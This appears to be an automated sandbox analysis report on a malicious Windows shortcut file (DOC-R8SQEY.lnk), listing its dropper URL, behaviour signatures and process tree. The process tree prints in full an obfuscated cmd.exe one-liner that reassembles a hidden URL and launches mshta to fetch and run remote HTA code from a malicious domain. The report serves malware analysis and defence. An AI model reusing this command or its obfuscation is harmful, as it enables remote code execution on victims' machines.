Analysis

  • max time kernel
    150s
  • max time network
    116s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 08:23

General

  • Target
    DOC-R8SQEY.lnk
  • Size 2KB
  • Sample260804-kaej4sar6w
  • SHA256 3524dfa82766f74d6a42218ee80f2ba52e16ae54fc842f40e1437f34a493e686
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-R8SQEY.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:6080
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /d/V:on/c"set yaj=cfgxcwmdccdcfg&set FVz=dbgydsvdtcmhrsadbg&set Pe=cfgjeefdiihlfgqcuvlkcfg&set Jty=winhcfhajqkqcmdulwin&set JY=infuddgsxtinf&set ZOmH=cfgvjpcxwmycfg&set VTIg=7qsta1a7&&set bF=tr3&&set CmFO=m4t3p&set WU=tmpwlalltmp&set vXsS=sysmxjavynyergvwywkbosys&set UH=infddbkwxuyiinf&set GCF=datyuihzravdcwrhdat&set jn=h76mup&&set SHYZ=48shtarh&set ncBi=infcjmiinf&&set iT=htt@ps@:@//@ma-p@d@ff@[email protected]@t/h@/es@ta@[email protected]@h@p?r@=391469F@B5D82D@B&&start /b !jn:~3,1!!SHYZ:~2,4! !iT:@=!&&set sAm=done"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3516
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:3448

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads